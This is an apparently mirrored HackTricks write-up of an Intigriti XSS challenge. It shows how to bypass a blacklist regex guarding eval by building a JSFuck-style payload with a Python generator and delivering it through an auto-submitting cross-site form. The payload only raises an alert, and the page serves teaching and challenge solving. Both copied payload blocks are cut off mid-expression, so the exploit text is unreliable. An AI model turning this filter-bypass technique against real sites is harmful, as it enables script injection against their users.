mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
177 lines
76 KiB
Markdown
177 lines
76 KiB
Markdown
|
# challenge-0521.intigriti.io
|
|||
|
|
|||
|
### Brief Description <a id="Brief-Description"></a>
|
|||
|
|
|||
|
The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).
|
|||
|
This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io/) via an iframe.
|
|||
|
|
|||
|
It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.
|
|||
|
However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.
|
|||
|
Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
|
|||
|
|
|||
|
### Accessing the HTML <a id="Accessing-the-HTML"></a>
|
|||
|
|
|||
|
It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:
|
|||
|
![](https://i.imgur.com/Slq2Xal.png)
|
|||
|
|
|||
|
Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:
|
|||
|
|
|||
|
```javascript
|
|||
|
document.domain
|
|||
|
document["domain"]
|
|||
|
```
|
|||
|
|
|||
|
And the same happens with attributes that are functions \(methods\):
|
|||
|
|
|||
|
```javascript
|
|||
|
document.write("1")
|
|||
|
document["write"]("1")
|
|||
|
```
|
|||
|
|
|||
|
Then, from the `e` HTML element it’s possible to access the `document` object using something like:
|
|||
|
|
|||
|
```javascript
|
|||
|
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
|
|||
|
```
|
|||
|
|
|||
|
### Calling a function without parenthesis with JS code as string <a id="Calling-a-function-without-parenthesis-with-JS-code-as-string"></a>
|
|||
|
|
|||
|
From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.
|
|||
|
However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** \(\`\`\).
|
|||
|
Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like:
|
|||
|
|
|||
|
```javascript
|
|||
|
`${"alert(document.location)"}`
|
|||
|
```
|
|||
|
|
|||
|
Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**:
|
|||
|
|
|||
|
```javascript
|
|||
|
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
|
|||
|
```
|
|||
|
|
|||
|
You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
|
|||
|
|
|||
|
### Final forbidden characters bypass <a id="Final-forbidden-characters-bypass"></a>
|
|||
|
|
|||
|
However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit \(e\[\]\`${}\) are allowed**.
|
|||
|
This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.
|
|||
|
In order to do this I have generated a [JSFuck](http://www.jsfuck.com/) like alphabet to generate the necesary characters \(_this alphabet is custom for this challenge_\).
|
|||
|
You can **see the full alphabet inside the exploit code** \(which can be found in the next subsection and in the file _exploit.txt_\).
|
|||
|
|
|||
|
For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.
|
|||
|
Using these tricks and some more complex ones it was possible to **generate all the characters \(letters and symbols\) of the strings contained** in the exploit:
|
|||
|
|
|||
|
```javascript
|
|||
|
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
|
|||
|
```
|
|||
|
|
|||
|
### Exploit Code <a id="Exploit-Code"></a>
|
|||
|
|
|||
|
This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
|
|||
|
|
|||
|
```python
|
|||
|
|
|||
|
#JS Specific Direct Alphabet
|
|||
|
x = {
|
|||
|
"1": "1",
|
|||
|
".": ".",
|
|||
|
"[": "[e+e][0][0]",
|
|||
|
"]": "[e+e][0][27]",
|
|||
|
"/": "[/e/+e][0][0]",
|
|||
|
"a": "[[]/e+e][0][1]",
|
|||
|
"b": "[e+e][0][2]",
|
|||
|
"c": "[e+e][0][5]",
|
|||
|
"d": "[[][[]]+e][0][2]",
|
|||
|
"e": "[e+e][0][4]",
|
|||
|
"f": "[[][[]]+e][0][4]",
|
|||
|
"g": "[e+e][0][15]",
|
|||
|
"H": "[e+e][0][8]",
|
|||
|
"i": "[[][[]]+e][0][5]",
|
|||
|
"j": "[e+e][0][3]",
|
|||
|
"L": "[e+e][0][11]",
|
|||
|
"l": "[e+e][0][21]",
|
|||
|
"M": "[e+e][0][10]",
|
|||
|
"n": "[[][[]]+e][0][1]",
|
|||
|
"N": "[[]/e+e][0][0]",
|
|||
|
"o": "[e+e][0][1]",
|
|||
|
"r": "[e+e][0][13]",
|
|||
|
"s": "[e+e][0][18]",
|
|||
|
"t": "[e+e][0][6]",
|
|||
|
"T": "[e+e][0][9]",
|
|||
|
"u": "[[][[]]+e][0][0]",
|
|||
|
}
|
|||
|
|
|||
|
#JS Dependent Alphabet
|
|||
|
#The following alphabet will use previously obtained characters
|
|||
|
#Note that this way of getting the characters are custom for the abused HTML
|
|||
|
|
|||
|
outerHTML = '+'.join(x[k] for k in 'outerHTML')
|
|||
|
|
|||
|
x['p'] = f'e[{outerHTML}][1]'
|
|||
|
x['y'] = f'e[{outerHTML}][39]'
|
|||
|
x['<'] = f'e[{outerHTML}][0]'
|
|||
|
x['>'] = f'e[{outerHTML}][62]'
|
|||
|
x['"'] = f'e[{outerHTML}][13]'
|
|||
|
|
|||
|
parentNode = '+'.join(x[k] for k in 'parentNode')
|
|||
|
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
|
|||
|
|
|||
|
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
|
|||
|
|
|||
|
children = '+'.join(x[k] for k in 'children')
|
|||
|
captcha = '+'.join(x[k] for k in 'captcha')
|
|||
|
|
|||
|
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
|
|||
|
write = '+'.join(x[k] for k in 'write')
|
|||
|
|
|||
|
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
|
|||
|
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
|
|||
|
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
|
|||
|
|
|||
|
|
|||
|
# Exploit generation
|
|||
|
payload_text = '<script>alert(document["domain"])</script>'
|
|||
|
payload = '+'.join(x[k] for k in payload_text)
|
|||
|
|
|||
|
txt = f'{document}[{write}]'+'`${['+payload+']}`'
|
|||
|
|
|||
|
print(txt) #Write the exploit to stdout
|
|||
|
```
|
|||
|
|
|||
|
### Exploitation <a id="Exploitation"></a>
|
|||
|
|
|||
|
In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
|
|||
|
|
|||
|
```text
|
|||
|
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][
|
|||
|
```
|
|||
|
|
|||
|
Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose \(_note that the exploit is URL encoded_\):
|
|||
|
|
|||
|
```markup
|
|||
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|||
|
<body>
|
|||
|
<script>history.pushState('', '', '/')</script>
|
|||
|
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
|
|||
|
<input type="hidden" name="c" value="e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0]&#
|
|||
|
<input type="submit" value="Submit request" />
|
|||
|
</form>
|
|||
|
<script>
|
|||
|
document.forms[0].submit();
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
Finally, **serve the poc in a HTTP** server and access it from the browser:
|
|||
|
|
|||
|
|
|||
|
![](https://i.imgur.com/qack7GO.png)
|
|||
|
|
|||
|
Just press **submit** on the captcha form and the alert will be executed:
|
|||
|
|
|||
|
![](https://i.imgur.com/mCORty3.png)
|
|||
|
|